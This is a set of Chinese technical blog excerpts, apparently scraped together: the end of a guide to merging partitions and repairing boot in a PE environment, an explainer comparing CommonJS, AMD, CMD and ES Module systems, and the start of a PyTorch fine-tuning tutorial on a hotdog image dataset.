都合并到E中,成为一块477GB的分区原来E盘文件保留即可。 三、合并C、D、E 需要保留E盘文件,傲梅分区助手(pe自带) 傲梅分区助手也在菜单附件中,和硬盘相关的文件夹中,自己找一下 确认后 依然需要点击提交才会生效 四、修复引导(不一定需要,得根据情况) 经过第三步后,最好重启重新进入PE 然后桌面上有一个修复引导的快捷方式,双击运行,选择操作系统即可完成修复。 因为第3步我们将原先的那块磁盘的ESP、MBR、C、D 分区都合成了一个分区,所以引导修复的时候只会有一个选项,是我们还原系统的那块磁盘分区。完成后重启就正常使用了 如果此前根据文章有操作过软连接,则进入系统后将C盘的软连接文件夹删了,然后重新建立一个软连接即可

CommonJS、AMD、CMD、ES Module

依赖前置和依赖就近 RequireJS采用依赖前置,举个例子就是炒菜前一次性把所有食材洗好,切好,根据内部逻辑把有些酱料拌好,最后开始炒菜,前面任何一个步骤出现问题都能较早发现错误;SeaJS的依赖就近就是要炒青椒了去切青椒要炒肉了去切肉 cmd:例如seajsamd:例如requirejscommonjs模块规范 node采用的就是该规范 导入 -,导出:require module.exportes6模块规范 esModule es6原生支持的规范(目前需要使用babel来兼容) 导入 - import,导出 - exportumd 统一模块,支持多种规范混合使用 解决了什么问题呢? 解决变量污染问题,每个文件都是独立的作用域,所以不存在变量污染 解决代码维护问题,一个文件里代码非常清晰 解决文件依赖问题,一个文件里可以清楚的看到依赖了那些其它文件 CommonJs与ES6Module最本质的区别在于前者对模块依赖的解决是动态的,而后者是静态的。 动态:模块依赖关系的建立是发生在代码运行阶段; 静态:模块依赖关系的建立是发生在代码编译阶段; CommonJS CommonJS规范 通过model.exports定义的,在前端浏览器中并不支持 NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写的。 var foo = require('foo.js'); var count = 1; var plusCount = () => { foo.add(count); }; module.exports = { count, plusCount }; 对于基本数据类型,属于复制。即会被模块缓存。同时,在另一个模块可以对该模块输出的变量重新赋值对于复杂数据类型,属于浅拷贝。由于两个模块引用的对象指向同一个内存空间,因此对该模块的值做修改时会影响另一个模块。 当使用require命令加载某个模块时,就会运行整个模块的代码。 当使用require命令加载同一个模块时,不会再执行该模块,而是取到缓存之中的值。也就是说,CommonJS模块无论加载多少次,都只会在第一次加载时运行一次,以后再加载,就返回第一次运行的结果,除非手动清除系统缓存。 循环加载时,属于加载时执行。即脚本代码在require的时候,就会全部执行。一旦出现某个模块被”循环加载”,就只输出已经执行的部分,还未执行的部分不会输出。 CommonJs可以动态加载语句,代码发生在运行时,(也就是可以在代码中加载文件,可以不一定写在文件头部) Commonjs规范中module.exports和exports的区别 esModule 浏览器端实现模块化的一个很好的方案 a.js export const name = 'alice' export const age = 16 b.js import { name, age } from "

模型微调技术

模型微调 一、迁移学习中的常见技巧:微调(fine-tuning)1.1 概念1.2 步骤1.3 训练1.4 实现 一、迁移学习中的常见技巧:微调(fine-tuning) 1.1 概念 将在大数据集上训练得到的weights作为特定任务(小数据集)的初始化权重,重新训练该网络(根据需要,修改全连接层输出);至于训练的方式可以是: 1.微调所有层; 2.固定网络前面几层权重,只微调网络的后面几层,这样做有两个原因:A. 避免因数据量小造成过拟合现象;B.CNN前几层的特征中包含更多的一般特征(比如,边缘信息,色彩信息等),这对许多任务来说是非常通用的,但是CNN后面几层的特征学习注重高层特征,也就是语义特征,这是针对于数据集而言的,不同的数据集后面几层学习的语义特征也是完全不同的; 1.2 步骤 在源数据集上训练神经网络模型或将已经在大数据集上训练好的模型保存的模型,即源模型;创建新的神经网络模型,即目标模型。这将复制源模型上的所有模型设计(即模型层数设计)及其参数(输出层除外)。假定模型参数包含从源数据集中学到的知识,这些知识也将适用于目标数据集;想目标模型中添加输出层,其输出类别数目是目标数据集中的类别数, 然后随机初始化该层的模型参数;在目标数据集上训练目标模型,输出层从头开始训练,其他所有层的参数将根据源模型的参数进行微调。 1.3 训练 源数据集远复杂于目标数据,通常微调效果更好;通常使用更小的学习率和更少的数据迭代; 1.4 实现 #热狗识别 #导入所需包 from d2l import torch as d2l from torch import nn import torchvision import torch import os %matplotlib inline #获取数据集 """ 我们使用的热狗数据集来源于网络。 该数据集包含1400张热狗的“正类”图像,以及包含尽可能多的其他食物的“负类”图像。 含着两个类别的1000张图片用于训练,其余的则用于测试。 """ d2l.DATA_HUB['hotdog'] = (d2l.DATA_URL + 'hotdog.zip', 'fba480ffa8aa7e0febbb511d181409f899b9baa5') data_dir = d2l.download_extract('hotdog') print(data_dir) #输出..\data\hotdog train_imgs=torchvision.datasets.ImageFolder(os.path.join(data_dir,'train')) test_imgs=torchvision.datasets.ImageFolder(os.path.join(data_dir,'test')) hotdogs=[train_imgs[i][0] for i in range(8)] not_hotdogs=[train_imgs[-i-1][0] for i in range(8)] d2l.